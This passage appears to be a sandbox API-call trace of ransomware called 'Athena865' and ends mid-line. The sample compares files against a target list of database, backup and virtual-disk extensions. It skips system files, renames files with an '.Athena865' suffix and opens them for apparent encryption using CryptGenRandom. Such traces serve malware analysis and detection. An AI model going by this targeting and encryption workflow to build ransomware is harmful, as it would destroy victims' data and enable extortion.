[0093.917] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0093.917] lstrlenW (lpString="adn") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0093.917] lstrlenW (lpString="adp") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0093.917] lstrlenW (lpString="alf") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0093.917] lstrlenW (lpString="ask") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0093.917] lstrlenW (lpString="btr") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0093.917] lstrlenW (lpString="cat") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0093.917] lstrlenW (lpString="cdb") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0093.917] lstrlenW (lpString="ckp") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0093.917] lstrlenW (lpString="cma") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0093.917] lstrlenW (lpString="cpd") returned 3 [0093.917] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0093.917] lstrlenW (lpString="dacpac") returned 6 [0093.917] lstrcmpiW (lpString1="ME.txt", lpString2="dacpac") returned 1 [0093.917] lstrlenW (lpString="dad") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0093.918] lstrlenW (lpString="dadiagrams") returned 10 [0093.918] lstrlenW (lpString="daschema") returned 8 [0093.918] lstrcmpiW (lpString1="ADME.txt", lpString2="daschema") returned -1 [0093.918] lstrlenW (lpString="db-journal") returned 10 [0093.918] lstrlenW (lpString="db-shm") returned 6 [0093.918] lstrcmpiW (lpString1="ME.txt", lpString2="db-shm") returned 1 [0093.918] lstrlenW (lpString="db-wal") returned 6 [0093.918] lstrcmpiW (lpString1="ME.txt", lpString2="db-wal") returned 1 [0093.918] lstrlenW (lpString="dbc") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0093.918] lstrlenW (lpString="dbs") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0093.918] lstrlenW (lpString="dbt") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0093.918] lstrlenW (lpString="dbv") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0093.918] lstrlenW (lpString="dbx") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0093.918] lstrlenW (lpString="dcb") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0093.918] lstrlenW (lpString="dct") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0093.918] lstrlenW (lpString="dcx") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0093.918] lstrlenW (lpString="ddl") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0093.918] lstrlenW (lpString="dlis") returned 4 [0093.918] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0093.918] lstrlenW (lpString="dp1") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0093.918] lstrlenW (lpString="dqy") returned 3 [0093.918] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0093.919] lstrlenW (lpString="dsk") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0093.919] lstrlenW (lpString="dsn") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0093.919] lstrlenW (lpString="dtsx") returned 4 [0093.919] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0093.919] lstrlenW (lpString="dxl") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0093.919] lstrlenW (lpString="eco") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0093.919] lstrlenW (lpString="ecx") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0093.919] lstrlenW (lpString="edb") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0093.919] lstrlenW (lpString="epim") returned 4 [0093.919] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0093.919] lstrlenW (lpString="fcd") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0093.919] lstrlenW (lpString="fdb") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0093.919] lstrlenW (lpString="fic") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0093.919] lstrlenW (lpString="flexolibrary") returned 12 [0093.919] lstrlenW (lpString="fm5") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0093.919] lstrlenW (lpString="fmp") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0093.919] lstrlenW (lpString="fmp12") returned 5 [0093.919] lstrcmpiW (lpString1="E.txt", lpString2="fmp12") returned -1 [0093.919] lstrlenW (lpString="fmpsl") returned 5 [0093.919] lstrcmpiW (lpString1="E.txt", lpString2="fmpsl") returned -1 [0093.919] lstrlenW (lpString="fol") returned 3 [0093.919] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0093.920] lstrlenW (lpString="fp3") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0093.920] lstrlenW (lpString="fp4") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0093.920] lstrlenW (lpString="fp5") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0093.920] lstrlenW (lpString="fp7") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0093.920] lstrlenW (lpString="fpt") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0093.920] lstrlenW (lpString="frm") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0093.920] lstrlenW (lpString="gdb") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0093.920] lstrlenW (lpString="gdb") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0093.920] lstrlenW (lpString="grdb") returned 4 [0093.920] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0093.920] lstrlenW (lpString="gwi") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1 [0093.920] lstrlenW (lpString="hdb") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0093.920] lstrlenW (lpString="his") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0093.920] lstrlenW (lpString="ib") returned 2 [0093.920] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0093.920] lstrlenW (lpString="idb") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0093.920] lstrlenW (lpString="ihx") returned 3 [0093.920] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0093.920] lstrlenW (lpString="itdb") returned 4 [0093.920] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0093.921] lstrlenW (lpString="itw") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0093.921] lstrlenW (lpString="jet") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0093.921] lstrlenW (lpString="jtx") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0093.921] lstrlenW (lpString="kdb") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0093.921] lstrlenW (lpString="kexi") returned 4 [0093.921] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0093.921] lstrlenW (lpString="kexic") returned 5 [0093.921] lstrcmpiW (lpString1="E.txt", lpString2="kexic") returned -1 [0093.921] lstrlenW (lpString="kexis") returned 5 [0093.921] lstrcmpiW (lpString1="E.txt", lpString2="kexis") returned -1 [0093.921] lstrlenW (lpString="lgc") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0093.921] lstrlenW (lpString="lwx") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0093.921] lstrlenW (lpString="maf") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0093.921] lstrlenW (lpString="maq") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0093.921] lstrlenW (lpString="mar") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0093.921] lstrlenW (lpString="marshal") returned 7 [0093.921] lstrcmpiW (lpString1="DME.txt", lpString2="marshal") returned -1 [0093.921] lstrlenW (lpString="mas") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0093.921] lstrlenW (lpString="mav") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0093.921] lstrlenW (lpString="maw") returned 3 [0093.921] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0093.922] lstrlenW (lpString="mdbhtml") returned 7 [0093.922] lstrcmpiW (lpString1="DME.txt", lpString2="mdbhtml") returned -1 [0093.922] lstrlenW (lpString="mdn") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0093.922] lstrlenW (lpString="mdt") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0093.922] lstrlenW (lpString="mfd") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0093.922] lstrlenW (lpString="mpd") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0093.922] lstrlenW (lpString="mrg") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0093.922] lstrlenW (lpString="mud") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0093.922] lstrlenW (lpString="mwb") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0093.922] lstrlenW (lpString="myd") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0093.922] lstrlenW (lpString="ndf") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0093.922] lstrlenW (lpString="nnt") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0093.922] lstrlenW (lpString="nrmlib") returned 6 [0093.922] lstrcmpiW (lpString1="ME.txt", lpString2="nrmlib") returned -1 [0093.922] lstrlenW (lpString="ns2") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0093.922] lstrlenW (lpString="ns3") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0093.922] lstrlenW (lpString="ns4") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0093.922] lstrlenW (lpString="nsf") returned 3 [0093.922] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0093.923] lstrlenW (lpString="nv") returned 2 [0093.923] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0093.923] lstrlenW (lpString="nv2") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0093.923] lstrlenW (lpString="nwdb") returned 4 [0093.923] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0093.923] lstrlenW (lpString="nyf") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0093.923] lstrlenW (lpString="odb") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0093.923] lstrlenW (lpString="odb") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0093.923] lstrlenW (lpString="oqy") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0093.923] lstrlenW (lpString="ora") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0093.923] lstrlenW (lpString="orx") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0093.923] lstrlenW (lpString="owc") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0093.923] lstrlenW (lpString="p96") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0093.923] lstrlenW (lpString="p97") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0093.923] lstrlenW (lpString="pan") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0093.923] lstrlenW (lpString="pdb") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0093.923] lstrlenW (lpString="pdm") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0093.923] lstrlenW (lpString="pnz") returned 3 [0093.923] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0093.924] lstrlenW (lpString="qry") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0093.924] lstrlenW (lpString="qvd") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0093.924] lstrlenW (lpString="rbf") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0093.924] lstrlenW (lpString="rctd") returned 4 [0093.924] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0093.924] lstrlenW (lpString="rod") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0093.924] lstrlenW (lpString="rodx") returned 4 [0093.924] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0093.924] lstrlenW (lpString="rpd") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0093.924] lstrlenW (lpString="rsd") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0093.924] lstrlenW (lpString="sas7bdat") returned 8 [0093.924] lstrcmpiW (lpString1="ADME.txt", lpString2="sas7bdat") returned -1 [0093.924] lstrlenW (lpString="sbf") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0093.924] lstrlenW (lpString="scx") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0093.924] lstrlenW (lpString="sdb") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0093.924] lstrlenW (lpString="sdc") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0093.924] lstrlenW (lpString="sdf") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0093.924] lstrlenW (lpString="sis") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0093.924] lstrlenW (lpString="spq") returned 3 [0093.924] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0093.925] lstrlenW (lpString="te") returned 2 [0093.925] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0093.925] lstrlenW (lpString="teacher") returned 7 [0093.925] lstrcmpiW (lpString1="DME.txt", lpString2="teacher") returned -1 [0093.925] lstrlenW (lpString="tmd") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0093.925] lstrlenW (lpString="tps") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0093.925] lstrlenW (lpString="trc") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0093.925] lstrlenW (lpString="trc") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0093.925] lstrlenW (lpString="trm") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0093.925] lstrlenW (lpString="udb") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0093.925] lstrlenW (lpString="udl") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0093.925] lstrlenW (lpString="usr") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0093.925] lstrlenW (lpString="v12") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0093.925] lstrlenW (lpString="vis") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0093.925] lstrlenW (lpString="vpd") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0093.925] lstrlenW (lpString="vvv") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0093.925] lstrlenW (lpString="wdb") returned 3 [0093.925] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0093.925] lstrlenW (lpString="wmdb") returned 4 [0093.925] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0093.926] lstrlenW (lpString="wrk") returned 3 [0093.926] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0093.926] lstrlenW (lpString="xdb") returned 3 [0093.926] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0093.926] lstrlenW (lpString="xld") returned 3 [0093.926] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0093.926] lstrlenW (lpString="xmlff") returned 5 [0093.926] lstrcmpiW (lpString1="E.txt", lpString2="xmlff") returned -1 [0093.926] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\README.txt.Athena865") returned 53 [0093.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.athena865"), dwFlags=0x1) returned 1 [0093.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.927] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47) returned 1 [0093.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.928] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.928] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.928] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x330, lpName=0x0) returned 0x17c [0093.931] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x330) returned 0x100000 [0093.932] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.933] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.933] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.933] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.933] CloseHandle (hObject=0x17c) returned 1 [0093.934] CloseHandle (hObject=0x154) returned 1 [0093.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.934] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2=".") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="..") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="windows") returned -1 [0093.934] lstrcmpiW (lpString1="release", lpString2="bootmgr") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="temp") returned -1 [0093.934] lstrcmpiW (lpString1="release", lpString2="pagefile.sys") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="boot") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="ids.txt") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="ntuser.dat") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="perflogs") returned 1 [0093.934] lstrcmpiW (lpString1="release", lpString2="MSBuild") returned 1 [0093.934] lstrlenW (lpString="release") returned 7 [0093.934] lstrcpyW (in: lpString1=0x241e88a, lpString2="release" | out: lpString1="release") returned="release" [0093.934] lstrlenW (lpString="release") returned 7 [0093.934] lstrlenW (lpString="Athena865") returned 9 [0093.934] lstrlenW (lpString=".dll") returned 4 [0093.935] lstrcmpiW (lpString1="release", lpString2=".dll") returned 1 [0093.935] lstrlenW (lpString=".lnk") returned 4 [0093.935] lstrcmpiW (lpString1="release", lpString2=".lnk") returned 1 [0093.935] lstrlenW (lpString=".ini") returned 4 [0093.935] lstrcmpiW (lpString1="release", lpString2=".ini") returned 1 [0093.935] lstrlenW (lpString=".sys") returned 4 [0093.935] lstrcmpiW (lpString1="release", lpString2=".sys") returned 1 [0093.935] lstrlenW (lpString="release") returned 7 [0093.935] lstrlenW (lpString="bak") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="bak") returned -1 [0093.935] lstrlenW (lpString="ba_") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="ba_") returned -1 [0093.935] lstrlenW (lpString="dbb") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="dbb") returned -1 [0093.935] lstrlenW (lpString="vmdk") returned 4 [0093.935] lstrcmpiW (lpString1="ease", lpString2="vmdk") returned -1 [0093.935] lstrlenW (lpString="rar") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="rar") returned -1 [0093.935] lstrlenW (lpString="zip") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="zip") returned -1 [0093.935] lstrlenW (lpString="tgz") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="tgz") returned -1 [0093.935] lstrlenW (lpString="vbox") returned 4 [0093.935] lstrcmpiW (lpString1="ease", lpString2="vbox") returned -1 [0093.935] lstrlenW (lpString="vdi") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="vdi") returned -1 [0093.935] lstrlenW (lpString="vhd") returned 3 [0093.935] lstrcmpiW (lpString1="ase", lpString2="vhd") returned -1 [0093.935] lstrlenW (lpString="vhdx") returned 4 [0093.935] lstrcmpiW (lpString1="ease", lpString2="vhdx") returned -1 [0093.935] lstrlenW (lpString="avhd") returned 4 [0093.936] lstrcmpiW (lpString1="ease", lpString2="avhd") returned 1 [0093.936] lstrlenW (lpString="db") returned 2 [0093.936] lstrcmpiW (lpString1="se", lpString2="db") returned 1 [0093.936] lstrlenW (lpString="db2") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="db2") returned -1 [0093.936] lstrlenW (lpString="db3") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="db3") returned -1 [0093.936] lstrlenW (lpString="dbf") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="dbf") returned -1 [0093.936] lstrlenW (lpString="mdf") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="mdf") returned -1 [0093.936] lstrlenW (lpString="mdb") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="mdb") returned -1 [0093.936] lstrlenW (lpString="sql") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="sql") returned -1 [0093.936] lstrlenW (lpString="sqlite") returned 6 [0093.936] lstrcmpiW (lpString1="elease", lpString2="sqlite") returned -1 [0093.936] lstrlenW (lpString="sqlite3") returned 7 [0093.936] lstrlenW (lpString="sqlitedb") returned 8 [0093.936] lstrlenW (lpString="xml") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="xml") returned -1 [0093.936] lstrlenW (lpString="$er") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="$er") returned 1 [0093.936] lstrlenW (lpString="4dd") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="4dd") returned 1 [0093.936] lstrlenW (lpString="4dl") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="4dl") returned 1 [0093.936] lstrlenW (lpString="^^^") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="^^^") returned 1 [0093.936] lstrlenW (lpString="abs") returned 3 [0093.936] lstrcmpiW (lpString1="ase", lpString2="abs") returned 1 [0093.936] lstrlenW (lpString="abx") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="abx") returned 1 [0093.937] lstrlenW (lpString="accdb") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accdb") returned 1 [0093.937] lstrlenW (lpString="accdc") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accdc") returned 1 [0093.937] lstrlenW (lpString="accde") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accde") returned 1 [0093.937] lstrlenW (lpString="accdr") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accdr") returned 1 [0093.937] lstrlenW (lpString="accdt") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accdt") returned 1 [0093.937] lstrlenW (lpString="accdw") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accdw") returned 1 [0093.937] lstrlenW (lpString="accft") returned 5 [0093.937] lstrcmpiW (lpString1="lease", lpString2="accft") returned 1 [0093.937] lstrlenW (lpString="adb") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="adb") returned 1 [0093.937] lstrlenW (lpString="adb") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="adb") returned 1 [0093.937] lstrlenW (lpString="ade") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="ade") returned 1 [0093.937] lstrlenW (lpString="adf") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="adf") returned 1 [0093.937] lstrlenW (lpString="adn") returned 3 [0093.937] lstrcmpiW (lpString1="ase", lpString2="adn") 